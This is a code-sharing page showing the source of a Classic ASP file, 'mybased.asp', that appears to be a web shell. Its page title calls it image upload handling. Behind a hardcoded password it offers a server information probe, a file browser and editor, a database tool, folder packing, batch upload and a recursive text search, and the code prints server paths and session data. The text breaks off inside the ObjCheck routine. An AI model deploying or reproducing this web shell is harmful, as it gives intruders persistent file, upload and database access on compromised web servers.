?? mybased.asp
字號:
<object runat="server" id="fso" scope="page" classid="clsid:0D43FE01-F093-11CF-8940-00A0C9054228"></object>
<%
Option Explicit
Dim url, conn, theAct, thePath, rootPath, PageSize
Dim accessStr, pageName, sysFileList, rootPathB, isSqlServer
theAct = GetPost("theAct")
PageSize = 20 ''默認每頁記錄數
isSqlServer = False
rootPath = ""
rootPathB = Server.MapPath("/")
pageName = GetPost("PageName")
url = Request.ServerVariables("URL")
sysFileList = "$Packet.mdb$Packet.ldb$"
thePath = Replace(getPost("thePath"), "\\", "\")
accessStr = "Provider=Microsoft.Jet.OLEDB.4.0; Data Source={$dbSource};User Id={$userId};Jet OLEDB:Database Password=""{$passWord}"";"
Const m = "002"
Const isDebugMode = False'False,True''是否調試模式
Const maxPageCount = 600 ''查詢時最多只列出N頁的鏈接
Const userPassword = "02200200251001" ''
Const editableFileExt = "$vbs$log$asp$txt$php$ini$inc$htm$html$xml$conf$config$jsp$java$htt$lst$aspx$php3$php4$js$css$bat$asa$"
Sub echo(str)
Response.Write(str)
End Sub
Sub IsIn()
If Session(m & "userPassword") <> userPassword Then
echo "<script>alert('沒有權限的訪問,請先登錄!');location.href='" & url & "';</script>"
End If
End Sub
Function IIf(var, val1, val2)
If var = True Then
IIf = val1
Else
IIf = val2
End If
End Function
Sub redirectTo(url)
Response.Redirect(url)
End Sub
Function getPost(var)
Dim val
If Request.QueryString("PageName") = "PageUpload" Then
pageName = "PageUpload"
Exit Function
End If
val = RTrim(Request.Form(var))
If val = "" Then
val = RTrim(Request.QueryString(var))
End If
getPost = val
End Function
Function HtmlEncode(str)
If IsNull(str) Then Exit Function
HtmlEncode = Server.HTMLEncode(str)
End Function
Function UrlEncode(str)
If IsNull(str) Then Exit Function
UrlEncode = Server.UrlEncode(str)
End Function
Sub ShowTitle(str)
Response.Write "<title>" & str & " - 圖片上傳處理</title>"
Response.Write "<meta http-equiv='Content-Type' content='text/html; charset=gb2312'>"
End Sub
Function GetTheSize(num)
Dim i, arySize(4)
arySize(0) = "B"
arySize(1) = "KB"
arySize(2) = "MB"
arySize(3) = "GB"
arySize(4) = "TB"
While(num / 1024 >= 1)
num = Fix(num / 1024 * 100) / 100
i = i + 1
WEnd
GetTheSize = num & " " & arySize(i)
End Function
Sub ShowErr(str)
Dim i, arrayStr
str = Server.HtmlEncode(str)
arrayStr = Split(str, "$$")
echo "<font size=2>"
echo "出錯信息:<br/><br/>"
For i = 0 To UBound(arrayStr)
echo " " & (i + 1) & ". " & arrayStr(i) & "<br/>"
Next
echo "</font>"
Response.End()
End Sub
Sub CreateFolder(thePath)
Dim i
i = InStr(Mid(thePath, 4), "\") + 3
Do While i > 0
If fso.FolderExists(Left(thePath, i)) = False Then
fso.CreateFolder(Left(thePath, i - 1))
End If
If InStr(Mid(thePath, i + 1), "\") Then
i = i + Instr(Mid(thePath, i + 1), "\")
Else
i = 0
End If
Loop
End Sub
Sub AlertThenClose(str)
If str = "" Then
Response.Write "<script>window.close();</script>"
Else
Response.Write "<script>alert(""" & str & """);window.close();</script>"
End If
End Sub
Sub chkErr(Err)
If Err Then
echo "<hr style='color:#d8d8f0;'/><font size=2><li>錯誤: " & Err.Description & "</li><li>錯誤源: " & Err.Source & "</li><br/>"
echo "<hr style='color:#d8d8f0;'/> </font>"
Err.Clear
Response.End
End If
End Sub
Sub TopMenu()
echo "<form method=post name=formp action=""" & url & """>"
echo "<select name=PageName onchange=changePage(this)>"
echo "<option value=''>請選擇功能頁面</option>"
echo "<option value=PageCheck>服務器信息探針</option>"
echo "<option value=PageFso>FSO文件瀏覽操作器</option>"
echo "<option value=PageDBTool>數據庫操作器</option>"
echo "<option value=PagePack>文件夾打包/解開器</option>"
echo "<option value=PageUpload>批量文件上傳</option>"
echo "<option value=PageSearch>文本文件搜索器</option>"
echo "<option value=PageOut>退出系統</option>"
echo "</select>"
echo "</form>"
echo "<div style='display:none;'><object id=max classid='clsid:ADB880A6-D8FF-11CF-9377-00AA003B7A11'>"
echo "<param name=Command value=Maximize></object></div>"
echo "<script lanuage=javascript>"
echo "formp.PageName.value='" & pageName & "';"
echo "if(self.screenLeft!=0)max.Click();"
echo "function changePage(obj){"
echo " if(obj.value=='PageOut')"
echo " if(!confirm('確認要退出系統嗎?'))return;"
echo " obj.form.submit();"
echo "}"
echo "</script>"
End Sub
Rem ++++++++++++++++++++++++++++++++++++
Rem 以下是頁面選擇部分
Rem ++++++++++++++++++++++++++++++++++++
PageOther()
If pageName <> "" Then
IsIn()
TopMenu()
End If
Select Case pageName
Case "PageSearch"
PageSearch()
Case "PageCheck"
PageCheck()
Case "PageFso"
PageFso()
Case "PageDBTool"
PageDBTool()
Case "PageUpload"
PageUpload()
Case "PagePack"
PagePack()
Case "", "PageOut"
PageLogin()
End Select
Rem +++++++++++++++++++++++++++++++++++++
Rem 以下是各功能模塊部分
Rem +++++++++++++++++++++++++++++++++++++
Sub PageSearch()
Dim strKey, strPath
strKey = GetPost("Key")
Server.ScriptTimeout = 5000
If thePath = "" Then thePath = rootPathB
ShowTitle("文本文件搜索器")
SearchTable(strKey)
If theAct <> "" And strKey <> "" Then
SearchIt(strKey)
End If
End Sub
Sub SearchTable(strKey)
echo "<table width=750 border=1>"
echo "<form method=post action='" & url & "'>"
echo "<input type=hidden value=PageSearch name=PageName>"
echo "<tr>"
echo "<td colspan=2 class=td><font face=webdings>8</font> 文本文件搜索器(需FSO支持)</td>"
echo "</tr>"
echo "<tr>"
echo "<td colspan=2 class=trHead> </td>"
echo "</tr>"
echo "<tr>"
echo "<td> 路徑</td>"
echo "<td> <input name=thePath type=text id=thePath value='"
echo HtmlEncode(thePath)
echo "' style='width:360px;'>"
echo "<input type=button onclick=this.form.thePath.value='" & Replace(rootPathB, "\", "\\") & "'; value='根目錄'>"
echo "<input type=button onclick=this.form.thePath.value=""" & Replace(Server.MapPath("."), "\", "\\") & """; value='當前目錄'>"
echo "</td>"
echo "</tr>"
echo "<tr>"
echo "<td width='20%'> 關鍵字</td>"
echo "<td> <input name=Key type=text value='" & HtmlEncode(strKey) & "' id=Key style='width:400px;'> "
echo "<select name=theAct id=theAct>"
echo "<option value=FileName selected>僅文件名</option>"
echo "<option value=FileContent>僅文本內容</option>"
echo "<option value=Both>兩者都</option>"
echo "</select>"
echo " <input type=submit name=Submit value=提交> </td>"
echo "</tr>"
echo "<tr>"
echo "<td colspan=2 class=trHead> </td>"
echo "</tr>"
echo "<tr align=right>"
echo "<td colspan=2 class=td> </td>"
echo "</tr>"
echo "</form>"
echo "</table>"
End Sub
Sub SearchIt(key)
Dim strPath, theFolder
Response.Buffer = True
strPath = thePath
If fso.FolderExists(strPath) = False Then
ShowErr(thePath & " 目錄不存在或者不允許訪問!")
End If
Set theFolder = fso.GetFolder(strPath)
echo "<br/><div style='width:750;border:1px solid #d8d8f0;'>"
Select Case theAct
Case "Both"
Call SearchFolder(theFolder, key, 1)
Case "FileName"
Call SearchFolder(theFolder, key, 2)
Case "FileContent"
Call SearchFolder(theFolder, key, 3)
End Select
echo "</div>"
Set theFolder = Nothing
End Sub
Sub SearchFolder(folder, key, flag)
Dim ext, title, theFile, theFolder
For Each theFile In folder.Files
ext = LCase(Split(theFile.Path, ".")(UBound(Split(theFile.Path, "."))))
If flag = 1 Or flag = 2 Then
If InStr(LCase(theFile.Name), LCase(key)) > 0 Then echo FileLink(theFile, "")
End If
If flag = 1 Or flag = 3 Then
If Instr(EditableFileExt, "$" & ext & "$") > 0 Then
If SearchFile(theFile, key, title) Then echo FileLink(theFile, title)
End If
End If
Next
Response.Flush()
For Each theFolder In folder.SubFolders
Call SearchFolder(theFolder, key, flag)
Next
end sub
Function SearchFile(f, s, title)
Dim theFile, content, pos1, pos2
If isDebugMode = False Then On Error Resume Next
Set theFile = fso.OpenTextFile(f.Path)
content = theFile.ReadAll()
theFile.Close
Set theFile = Nothing
If Err Then
Err.Clear
End If
SearchFile = InStr(1, content, s, 1)
If SearchFile > 0 Then
pos1 = InStr(1, content, "<TITLE>", 1)
pos2 = InStr(1, content, "</TITLE>", 1)
title = ""
If pos1 > 0 And pos2 > 0 Then
title = Mid(content, pos1 + 7, pos2 - pos1 - 7)
End If
End If
End Function
Function FileLink(file, title)
fileLink = file.Path
If title = "" Then
title = file.Name
End If
fileLink = " <font color=ff0000>" & title & "</font> " & fileLink & "<br/>"
End Function
Sub PageCheck()
ShowTitle("服務器信息探針")
InfoCheck()
If theAct <> "" Then
GetAppOrSession(theAct)
End If
ObjCheck()
End Sub
Sub InfoCheck()
Dim aryCheck(6)
If isDebugMode = False Then On Error Resume Next
aryCheck(0) = Server.ScriptTimeOut() & "(分鐘)"
aryCheck(1) = FormatDateTime(Now(), 0)
aryCheck(2) = Request.ServerVariables("SERVER_NAME")
aryCheck(2) = aryCheck(2) & ", " & Request.ServerVariables("LOCAL_ADDR")
aryCheck(2) = aryCheck(2) & ":" & Request.ServerVariables("SERVER_PORT")
aryCheck(3) = Request.ServerVariables("OS")
aryCheck(3) = IIf(aryCheck(3) = "", "Windows2003", aryCheck(3)) & ", " & Request.ServerVariables("SERVER_SOFTWARE")
aryCheck(3) = aryCheck(3) & ", " & ScriptEngine & "/" & ScriptEngineMajorVersion & "." & ScriptEngineMinorVersion & "." & ScriptEngineBuildVersion
aryCheck(4) = rootPathB & ", " & GetTheSize(fso.GetFolder(rootPathB).Size)
aryCheck(5) = "Path: " & Request.ServerVariables("PATH_TRANSLATED") & "<br />"
aryCheck(5) = aryCheck(5) & " Url : http://" & Request.ServerVariables("SERVER_NAME") & Request.ServerVariables("Url")
aryCheck(6) = "變量數: " & Application.Contents.Count() & "(<a href=javascript:locate('app');>Application</a>),"
aryCheck(6) = aryCheck(6) & " 會話數: " & Session.Contents.Count & "(<a href=javascript:locate('session');>Session</a>),"
aryCheck(6) = aryCheck(6) & " 當前會話ID: " & Session.SessionId()
echo "<table width=750 border=1>"
echo "<tr>"
echo "<td colspan=2 class=td><font face=webdings>8</font> 服務器基本信息"
echo "<label id=服務器基本信息 onclick=showSingleTable(this) style='font-family:webdings;cursor:hand;' title=單獨顯示此項>2</label></td>"
echo "</tr>"
echo "<tr>"
echo "<td colspan=2 class=trHead> </td>"
echo "</tr>"
echo "<tr class=td>"
echo "<td width='20%'> 項目</td>"
echo "<td> 值</td>"
echo "</tr>"
echo "<tr>"
echo "<td> 默認超時</td>"
echo "<td> "&aryCheck(0)&"</td>"
echo "</tr>"
echo "<tr>"
echo "<td> 當前時間</td>"
echo "<td> "&aryCheck(1)&"</td>"
echo "</tr>"
echo "<tr>"
echo "<td> 服務器名</td>"
echo "<td> "&aryCheck(2)&"</td>"
echo "</tr>"
echo "<tr>"
echo "<td> 軟件環境</td>"
echo "<td> "&aryCheck(3)&"</td>"
echo "</tr>"
echo "<tr>"
echo "<td> 站點目錄</td>"
echo "<td> "&aryCheck(4)&"</td>"
echo "</tr>"
echo "<tr>"
echo "<td> 當前路徑</td>"
echo "<td> "&aryCheck(5)&"</td>"
echo "</tr>"
echo "<tr>"
echo "<td> 其它</td>"
echo "<td> "&aryCheck(6)&"</td>"
echo "</tr>"
echo "<tr>"
echo "<td colspan=2 class=trHead> </td>"
echo "</tr>"
echo "<tr align=right>"
echo "<td colspan=2 class=td> </td>"
echo "</tr>"
echo "</table>"
End Sub
Sub ObjCheck()
Dim aryObj(19)
?? 快捷鍵說明
復制代碼
Ctrl + C
搜索代碼
Ctrl + F
全屏模式
F11
切換主題
Ctrl + Shift + D
顯示快捷鍵
?
增大字號
Ctrl + =
減小字號
Ctrl + -